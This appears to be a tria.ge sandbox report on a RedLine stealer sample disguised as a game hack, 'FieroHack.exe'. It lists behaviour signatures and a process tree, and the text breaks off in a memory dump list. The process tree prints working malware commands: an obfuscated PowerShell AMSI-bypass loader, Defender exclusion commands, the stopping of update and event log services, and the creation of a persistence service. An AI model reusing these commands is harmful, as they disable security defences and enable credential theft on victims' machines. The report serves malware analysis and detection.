Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    34s
  • max time network
    44s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/07/2024, 17:00

General

  • Target

    Midnight/FieroHack.exe

  • Size

    785.9MB

  • MD5

    22b9dcd226abe95a3fbe7a02030a5d2b

  • SHA1

    399db7ceeeca571804ead588f56fbe5351bc87a2

  • SHA256

    b06b787c071c1bc7fb71d6d47c16e439a75e2e43421f5ad9dc4f66dd04b1aa53

  • SHA512

    5661b354a82a69d8aa1b3dfb299cb1ef0893f97402bf6392046b8c4f618da73fc1686bfd0487a78163527df23229de4d96605a29457ba61c892e27ecc9db454a

  • SSDEEP

    98304:k4cScEqJJRoXw4MzFHjLu/Lfyu6akwy/:LcywSqjLGNkX

Malware Config

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Power Settings 1 TTPs 4 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 9 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 55 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:384
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{38e485ca-1e5b-4733-b4f1-d58be1db2064}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1008
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:688
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:964
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:764
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1048
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                1⤵
                  PID:1072
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1108
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                    1⤵
                    • Drops file in System32 directory
                    PID:1220
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                      PID:1236
                      • C:\Windows\system32\taskhostw.exe
                        taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                        2⤵
                          PID:3020
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:cNcnQVhxXBEh{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$iCtVghdmcFyLby,[Parameter(Position=1)][Type]$IkEMAyneRy)$rDTIwunPoVL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+'l'+''+[Char](101)+'ct'+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+'l'+'e'+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'Me'+'m'+'o'+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+'l'+'e',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+'ga'+[Char](116)+'e'+'T'+'y'+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+'le'+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+'a'+[Char](115)+''+'s'+','+[Char](65)+''+'u'+''+[Char](116)+'o'+[Char](67)+''+[Char](108)+''+[Char](97)+'ss',[MulticastDelegate]);$rDTIwunPoVL.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+'cia'+'l'+''+[Char](78)+''+[Char](97)+'me'+[Char](44)+'H'+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$iCtVghdmcFyLby).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$rDTIwunPoVL.DefineMethod('Inv'+'o'+''+[Char](107)+''+'e'+'',''+'P'+'u'+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+'i'+'d'+''+[Char](101)+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+'N'+[Char](101)+''+[Char](119)+'Sl'+[Char](111)+''+[Char](116)+','+[Char](86)+''+'i'+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+'l',$IkEMAyneRy,$iCtVghdmcFyLby).SetImplementationFlags('R'+[Char](117)+'nt'+[Char](105)+'m'+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $rDTIwunPoVL.CreateType();}$vGqSmXGKySoOj=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'s'+[Char](116)+''+'e'+''+[Char](109)+''+'.'+''+'d'+''+'l'+''+[Char](108)+'')}).GetType('M'+'i'+''+[Char](99)+'r'+[Char](111)+''+[Char](115)+'o'+'f'+''+[Char](116)+''+[Char](46)+'W'+[Char](105)+'n'+[Char](51)+'2'+'.'+''+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+''+[Char](102)+''+'e'+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+'v'+'e'+[Char](77)+'e'+[Char](116)+'h'+'o'+''+'d'+''+[Char](115)+'');$ztZIOpccyIrfwn=$vGqSmXGKySoOj.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+''+[Char](114)+''+'o'+'c'+[Char](65)+''+[Char](100)+'dr'+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+'S'+''+'t'+''+[Char](97)+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$MPTgtmUVeRAUzqqwJsh=cNcnQVhxXBEh @([String])([IntPtr]);$jFhSlGhDRvnVCFJCeDoamd=cNcnQVhxXBEh @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$EOtOBjeKLpK=$vGqSmXGKySoOj.GetMethod('G'+'e'+'tM'+[Char](111)+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+'nd'+'l'+''+'e'+'').Invoke($Null,@([Object]('ke'+[Char](114)+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+'l'+''+'l'+'')));$SpCEjEOuMmLFaP=$ztZIOpccyIrfwn.Invoke($Null,@([Object]$EOtOBjeKLpK,[Object](''+'L'+''+[Char](111)+''+[Char](97)+'dL'+[Char](105)+'br'+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$fexXYfSNqUsqKzZTY=$ztZIOpccyIrfwn.Invoke($Null,@([Object]$EOtOBjeKLpK,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+'al'+'P'+''+'r'+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+'t'+'')));$EhFPjhT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SpCEjEOuMmLFaP,$MPTgtmUVeRAUzqqwJsh).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+''+'d'+''+[Char](108)+''+'l'+'');$jtXMiYlNszqMyPqZI=$ztZIOpccyIrfwn.Invoke($Null,@([Object]$EhFPjhT,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+'a'+[Char](110)+''+'B'+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$elnOOPjNcL=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fexXYfSNqUsqKzZTY,$jFhSlGhDRvnVCFJCeDoamd).Invoke($jtXMiYlNszqMyPqZI,[uint32]8,4,[ref]$elnOOPjNcL);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$jtXMiYlNszqMyPqZI,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fexXYfSNqUsqKzZTY,$jFhSlGhDRvnVCFJCeDoamd).Invoke($jtXMiYlNszqMyPqZI,[uint32]8,0x20,[ref]$elnOOPjNcL);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'FT'+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'le'+[Char](114)+''+'s'+'t'+'a'+''+'g'+'er')).EntryPoint.Invoke($Null,$Null)"
                          2⤵
                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                          • Drops file in System32 directory
                          • Suspicious use of SetThreadContext
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:4528
                          • C:\Windows\System32\Conhost.exe
                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            3⤵
                              PID:1636
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                          1⤵
                            PID:1332
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                            1⤵
                              PID:1356
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                              1⤵
                                PID:1380
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                1⤵
                                  PID:1396
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                  1⤵
                                    PID:1408
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                    1⤵
                                      PID:1532
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1608
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                        1⤵
                                          PID:1616
                                          • C:\Windows\system32\sihost.exe
                                            sihost.exe
                                            2⤵
                                              PID:2664
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1676
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                              1⤵
                                                PID:1696
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1800
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                  1⤵
                                                    PID:1856
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                    1⤵
                                                      PID:1880
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:1896
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                        1⤵
                                                          PID:1944
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                          1⤵
                                                            PID:1952
                                                          • C:\Windows\System32\spoolsv.exe
                                                            C:\Windows\System32\spoolsv.exe
                                                            1⤵
                                                              PID:2044
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                              1⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2060
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2160
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                1⤵
                                                                  PID:2372
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                  1⤵
                                                                    PID:2380
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                    1⤵
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:2412
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                    1⤵
                                                                      PID:2528
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                      1⤵
                                                                        PID:2604
                                                                      • C:\Windows\sysmon.exe
                                                                        C:\Windows\sysmon.exe
                                                                        1⤵
                                                                          PID:2620
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                          1⤵
                                                                            PID:2648
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                            1⤵
                                                                              PID:2656
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                              1⤵
                                                                                PID:2776
                                                                              • C:\Windows\system32\wbem\unsecapp.exe
                                                                                C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                1⤵
                                                                                  PID:3036
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                  1⤵
                                                                                    PID:2072
                                                                                  • C:\Windows\Explorer.EXE
                                                                                    C:\Windows\Explorer.EXE
                                                                                    1⤵
                                                                                      PID:3344
                                                                                      • C:\Users\Admin\AppData\Local\Temp\Midnight\FieroHack.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\Midnight\FieroHack.exe"
                                                                                        2⤵
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:1172
                                                                                        • C:\Users\Admin\AppData\Roaming\WeMod.exe
                                                                                          C:\Users\Admin\AppData\Roaming\WeMod.exe
                                                                                          3⤵
                                                                                          • Executes dropped EXE
                                                                                          • Drops file in System32 directory
                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                          • Suspicious use of SetThreadContext
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:1568
                                                                                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                            4⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:516
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                            4⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:1100
                                                                                            • C:\Windows\system32\wusa.exe
                                                                                              wusa /uninstall /kb:890830 /quiet /norestart
                                                                                              5⤵
                                                                                                PID:4292
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              C:\Windows\system32\sc.exe stop UsoSvc
                                                                                              4⤵
                                                                                              • Launches sc.exe
                                                                                              PID:4816
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                              4⤵
                                                                                              • Launches sc.exe
                                                                                              PID:1920
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              C:\Windows\system32\sc.exe stop wuauserv
                                                                                              4⤵
                                                                                              • Launches sc.exe
                                                                                              PID:2172
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              C:\Windows\system32\sc.exe stop bits
                                                                                              4⤵
                                                                                              • Launches sc.exe
                                                                                              PID:3000
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              C:\Windows\system32\sc.exe stop dosvc
                                                                                              4⤵
                                                                                              • Launches sc.exe
                                                                                              PID:3056
                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                              4⤵
                                                                                              • Power Settings
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:3564
                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                              4⤵
                                                                                              • Power Settings
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:2296
                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                              4⤵
                                                                                              • Power Settings
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:4636
                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                              4⤵
                                                                                              • Power Settings
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:4760
                                                                                            • C:\Windows\system32\dialer.exe
                                                                                              C:\Windows\system32\dialer.exe
                                                                                              4⤵
                                                                                                PID:4628
                                                                                              • C:\Windows\system32\sc.exe
                                                                                                C:\Windows\system32\sc.exe delete "BRSLGMVC"
                                                                                                4⤵
                                                                                                • Launches sc.exe
                                                                                                PID:1004
                                                                                              • C:\Windows\system32\sc.exe
                                                                                                C:\Windows\system32\sc.exe create "BRSLGMVC" binpath= "C:\ProgramData\ccghytpllojw\ritphyfejjmj.exe" start= "auto"
                                                                                                4⤵
                                                                                                • Launches sc.exe
                                                                                                PID:2252
                                                                                              • C:\Windows\system32\sc.exe
                                                                                                C:\Windows\system32\sc.exe stop eventlog
                                                                                                4⤵
                                                                                                • Launches sc.exe
                                                                                                PID:4532
                                                                                              • C:\Windows\system32\sc.exe
                                                                                                C:\Windows\system32\sc.exe start "BRSLGMVC"
                                                                                                4⤵
                                                                                                • Launches sc.exe
                                                                                                PID:3100
                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                  5⤵
                                                                                                    PID:3612
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\WeMod.exe"
                                                                                                  4⤵
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:372
                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                    5⤵
                                                                                                      PID:1032
                                                                                                    • C:\Windows\system32\choice.exe
                                                                                                      choice /C Y /N /D Y /T 3
                                                                                                      5⤵
                                                                                                        PID:3652
                                                                                                  • C:\Users\Admin\AppData\Roaming\Sirus.exe
                                                                                                    C:\Users\Admin\AppData\Roaming\Sirus.exe
                                                                                                    3⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1792
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1792 -s 3288
                                                                                                      4⤵
                                                                                                      • Program crash
                                                                                                      PID:556
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                1⤵
                                                                                                  PID:3352
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                  1⤵
                                                                                                    PID:3500
                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                    1⤵
                                                                                                      PID:3748
                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                      1⤵
                                                                                                        PID:3912
                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:4112
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                          1⤵
                                                                                                            PID:5076
                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                            1⤵
                                                                                                              PID:1276
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                              1⤵
                                                                                                                PID:2680
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                1⤵
                                                                                                                  PID:4956
                                                                                                                • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                  "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                  1⤵
                                                                                                                    PID:2308
                                                                                                                  • C:\Windows\system32\SppExtComObj.exe
                                                                                                                    C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                    1⤵
                                                                                                                      PID:3988
                                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                      1⤵
                                                                                                                        PID:1468
                                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                        1⤵
                                                                                                                          PID:2280
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                          1⤵
                                                                                                                            PID:1088
                                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                            1⤵
                                                                                                                              PID:1564
                                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                              1⤵
                                                                                                                                PID:2424
                                                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                1⤵
                                                                                                                                  PID:3852
                                                                                                                                • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                  1⤵
                                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                                  PID:2572
                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                  C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                                  1⤵
                                                                                                                                    PID:2120
                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1792 -ip 1792
                                                                                                                                      2⤵
                                                                                                                                        PID:3664
                                                                                                                                    • C:\ProgramData\ccghytpllojw\ritphyfejjmj.exe
                                                                                                                                      C:\ProgramData\ccghytpllojw\ritphyfejjmj.exe
                                                                                                                                      1⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:3952

                                                                                                                                    Network

                                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                                    Replay Monitor

                                                                                                                                    Loading Replay Monitor...

                                                                                                                                    Downloads

                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_23qq2sqg.avf.ps1

                                                                                                                                      Filesize

                                                                                                                                      60B

                                                                                                                                      MD5

                                                                                                                                      d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                      SHA1

                                                                                                                                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                      SHA256

                                                                                                                                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                      SHA512

                                                                                                                                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                    • memory/516-43-0x000001C9B76C0000-0x000001C9B76E2000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      136KB

                                                                                                                                    • memory/612-97-0x0000015416470000-0x000001541649B000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      172KB

                                                                                                                                    • memory/612-96-0x0000015416470000-0x000001541649B000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      172KB

                                                                                                                                    • memory/612-95-0x0000015416440000-0x0000015416465000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      148KB

                                                                                                                                    • memory/612-104-0x00007FFF2F9D0000-0x00007FFF2F9E0000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      64KB

                                                                                                                                    • memory/612-103-0x0000015416470000-0x000001541649B000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      172KB

                                                                                                                                    • memory/688-115-0x00007FFF2F9D0000-0x00007FFF2F9E0000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      64KB

                                                                                                                                    • memory/688-114-0x0000020CDAAF0000-0x0000020CDAB1B000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      172KB

                                                                                                                                    • memory/688-108-0x0000020CDAAF0000-0x0000020CDAB1B000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      172KB

                                                                                                                                    • memory/1008-87-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      32KB

                                                                                                                                    • memory/1008-92-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      32KB

                                                                                                                                    • memory/1008-84-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      32KB

                                                                                                                                    • memory/1008-85-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                      Filesize

